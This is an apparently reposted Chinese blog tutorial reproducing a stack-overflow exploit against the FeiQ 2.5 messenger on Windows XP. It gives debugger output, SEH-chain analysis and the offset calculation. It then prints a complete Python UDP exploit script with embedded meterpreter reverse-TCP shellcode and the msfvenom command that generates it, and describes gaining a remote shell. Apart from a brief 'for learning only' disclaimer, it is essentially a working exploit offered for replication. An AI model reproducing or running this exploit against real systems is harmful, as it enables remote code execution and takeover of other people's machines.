本文主要是介绍飞秋0day漏洞复现,详细代码及过程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
声明:此实验仅供学习使用,严禁用作他用,否则后果自
目录
声明:此实验仅供学习使用,严禁用作他用,否则后果自
一、实验环境
windows xp 安装ollydbg用以调试使用 飞秋2.5:目标软件
kali 安装Python3
二、实验原理
POC:1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....
溢出时,触发SEH,此时再观察堆栈中的SEH,查看SEH链:
三、实施攻击
下面是完整的攻击代码
①winxp上运行飞秋2.5版本
②使用msf生成代码,kali上开启监听
③将python脚本上的shellcode替换成自己生成的shellcode
④使用Python执行脚本文件,可以看到winxp上的飞秋崩溃,此时再看kali上的监听,显示meterprete证明渗透成功
一、实验环境
windows xp 安装ollydbg用以调试使用 飞秋2.5:目标软件
kali 安装Python3
二、实验原理
利用栈溢出漏洞,改写she链条中的指向,执行恶意代码。
POC:
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....
使用olldbg打开飞秋2.5程序,在指令窗口定位到溢出代码,调试定位到出现bug时的代码:
0049061C |. /EB 2E jmp short 0049064C
0049061E |> |81FB FF3F0000 cmp ebx, 3FFF
00490624 |. |B8 FF3F0000 mov eax, 3FFF
00490629 |. |7F 02 jg short 0049062D
0049062B |. |8BC3 mov eax, ebx
0049062D |> |8B7424 20 mov esi, dword ptr [esp+20]
00490631 |. |8BC8 mov ecx, eax
00490633 |. |8BD9 mov ebx, ecx
00490635 |. |C1E9 02 shr ecx, 2
00490638 |. |F3:A5 rep movs dword ptr es:[edi], dword p>; //这里是溢出点,拷贝时发生溢出错误
0049063A |. |8BCB mov ecx, ebx
0049063C |. |8B5C24 2C mov ebx, dword ptr [esp+2C]
00490640 |. |83E1 03 and ecx, 3
00490643 |. |40 inc eax
溢出时,触发SEH,此时再观察堆栈中的SEH,查看SEH链:
0011F498 飞秋FeiQ.00589B89
0012D5F4 飞秋FeiQ.00593AA7
0012D678 飞秋FeiQ.00595644
0012D728 USER32.77D4048F
0012D788 USER32.77D4048F
0012D80C 飞秋FeiQ.005955B4
0012FF08 飞秋FeiQ.00586673
0012FFB0 飞秋FeiQ.00555990
0012FFE0 kernel32.7C839AD8
堆栈值>123670(拷贝的第一个EDI地址)的第一个SEH链为0012D5F4,进去看具体堆栈:
0012D5F0 0050F55F 返回到 飞秋FeiQ.0050F55F 来自 飞秋FeiQ.00550870
0012D5F4 0012D678 指向下一个 SEH 记录的指针
0012D5F8 00593AA7 SE处理程序
0012D5FC FFFFFFFF
初步构思淹没SEH指针和处理程序,从而能执行到自己的shellcode,构思结果如下:
0012D5F4 06EB06EB 指向下一个 SEH 记录的指针,这里更改为相当于jmp +4,跳到0012D5FC执行shellcode
0012D5F8 7FFA1571 SE处理程序。7FFA1571指向pop,pop,ret,当然也可以用任意一个程序中的pop,pop,ret代码,但这个是经典的POP,POP,RET地址,在winXP SP1,SP2,SP3应该是通用
0012D5FC 0089E8FC 以下的代码用来放shellcode
0012D600 89600000
0012D604 64D231E5
0012D608 8B30528B
0012D60C 528B0C52
三、实施攻击
首先需计算偏移,使其能正确淹没SEH地址。在这个例子中,计算偏移的方法比较简单,可直接利用artake提供的POC程序定位:当数据刚好淹没到0012D5F8时,此时ESI数据位:1294A9,而数据开始地址为1277BB,则1294A9 - 1277BB = 1CEE。也就是说数据偏移0X1CEE处即应为数据06EB06EB(jmp +4)。
下面是完整的攻击代码
########## Begin ########## import socket import time import syssize =0x1cee #0x1cee 就是整数的7406while True:try:print("程序开始!!![*]",size)s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#使用udp套接字s.bind(("",9990))#绑定此脚本使用端口buf = b"A"*sizea=b'1_lbt4_0#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:DESTTOP-1NSILG1:0:' #poc代码不能改b=b"\xeb\x06\xeb\x06\x71\x15\xfa\x7f" #pop pop ret 代码c=b"\x00"# 此处shellcode使用kali的msf生成,坏字符只有\x00,已排除。这个shellcode的lhost为192.168.11.128 lport为4444,使用的# payload的为windows/meterpreter/reserve_tcp shellcode = (b"\xdd\xc4\xba\x60\x62\x49\x7f\xd9\x74\x24\xf4\x5f\x2b\xc9"b"\xb1\x59\x31\x57\x19\x03\x57\x19\x83\xef\xfc\x82\x97\xb5"b"\x97\xcd\x58\x46\x68\xb1\x69\x94\x0c\xba\xd8\x28\x46\xee"b"\xd0\xc3\x0a\x1a\x60\x36\x9b\xdd\x7d\x0e\x96\x07\x09\x02"b"\x0f\x76\xcd\x4f\x73\x19\xb1\x8d\xa0\xf9\x88\x5d\xb5\xf8"b"\xcd\x2b\xb3\x15\x83\xfc\xb0\xbb\x34\x88\x85\x07\x34\x5e"b"\x82\x37\x4e\xdb\x55\xc3\xe2\xe2\x85\x7b\x70\xac\x3d\xf0"b"\xde\x0d\x3f\xd5\x5a\x84\x4b\xe5\x2d\x26\x4b\x9e\x9a\xc3"b"\xb2\x76\xd3\x13\x75\xb9\x19\x38\x77\x82\x1a\xa0\x0d\xf8"b"\x58\x5d\x16\x3b\x22\xb9\x93\xdb\x84\x4a\x03\x3f\x34\x9e"b"\xd2\xb4\x3a\x6b\x90\x92\x5e\x6a\x75\xa9\x5b\xe7\x78\x7d"b"\xea\xb3\x5e\x59\xb6\x60\xfe\xf8\x12\xc6\xff\x1a\xfa\xb7"b"\xa5\x51\xe9\xae\xda\x9a\xf1\xce\x86\x0c\x3d\x03\x39\xcc"b"\x29\x14\x4a\xfe\xf6\x8e\xc4\xb2\x7f\x09\x12\xc3\x68\xaa"b"\xcc\x6b\xf8\x54\xed\x8b\xd0\x92\xb9\xdb\x4a\x32\xc2\xb0"b"\x8a\xbb\x17\x2c\x81\x2b\x58\x18\x9e\x2b\x30\x5a\xa1\x3a"b"\x9d\xd3\x47\x6c\x4d\xb3\xd7\xcd\x3d\x73\x88\xa5\x57\x7c"b"\xf7\xd6\x57\x57\x90\x7d\xb8\x01\xc8\xe9\x21\x08\x82\x88"b"\xae\x87\xee\x8b\x25\x2d\x0e\x45\xce\x44\x1c\xb2\xa9\xa6"b"\xdc\x43\x5c\xa6\xb6\x47\xf6\xf1\x2e\x4a\x2f\x35\xf1\xb5"b"\x1a\x46\xf6\x4a\xdb\x7e\x8c\x7d\x49\x3e\xfa\x81\x9d\xbe"b"\xfa\xd7\xf7\xbe\x92\x8f\xa3\xed\x87\xcf\x79\x82\x1b\x5a"b"\x82\xf2\xc8\xcd\xea\xf8\x37\x39\xb5\x03\x12\x39\xb2\xfb"b"\xe0\x16\x1b\x93\x1a\x27\x9b\x63\x71\xa7\xcb\x0b\x8e\x88"b"\xe4\xfb\x6f\x03\xad\x93\xfa\xc2\x1f\x02\xfa\xce\xfe\x9a"b"\xfb\xfd\xda\x2d\x81\x8e\xdd\xce\x76\x87\xb9\xcf\x76\xa7"b"\xbf\xec\xa0\x9e\xb5\x33\x71\xa5\xc6\x06\xd4\x8c\x4c\x68"b"\x4a\xce\x44")buf=a+buf+b+shellcode# 此处指向的IP即为要攻击的地址IP,可任意更改,2425端口是飞秋固定端口不能更改s.sendto(buf,('192.168.11.5',2425))# 测试通联情况用recv,dis=s.recvfrom(1024)print(recv,dis)time.sleep(3)print("程序结束")except:print("\nerror!!!!!!!!!!!")sys.exit()
下面是完整演示图片
①winxp上运行飞秋2.5版本
②使用msf生成代码,kali上开启监听
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.11.128 lport=4444 -b "\x00" -e x86/shikata_ga_nai -f c
③将python脚本上的shellcode替换成自己生成的shellcode
④使用Python执行脚本文件,可以看到winxp上的飞秋崩溃,此时再看kali上的监听,显示meterprete证明渗透成功
这篇关于飞秋0day漏洞复现,详细代码及过程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!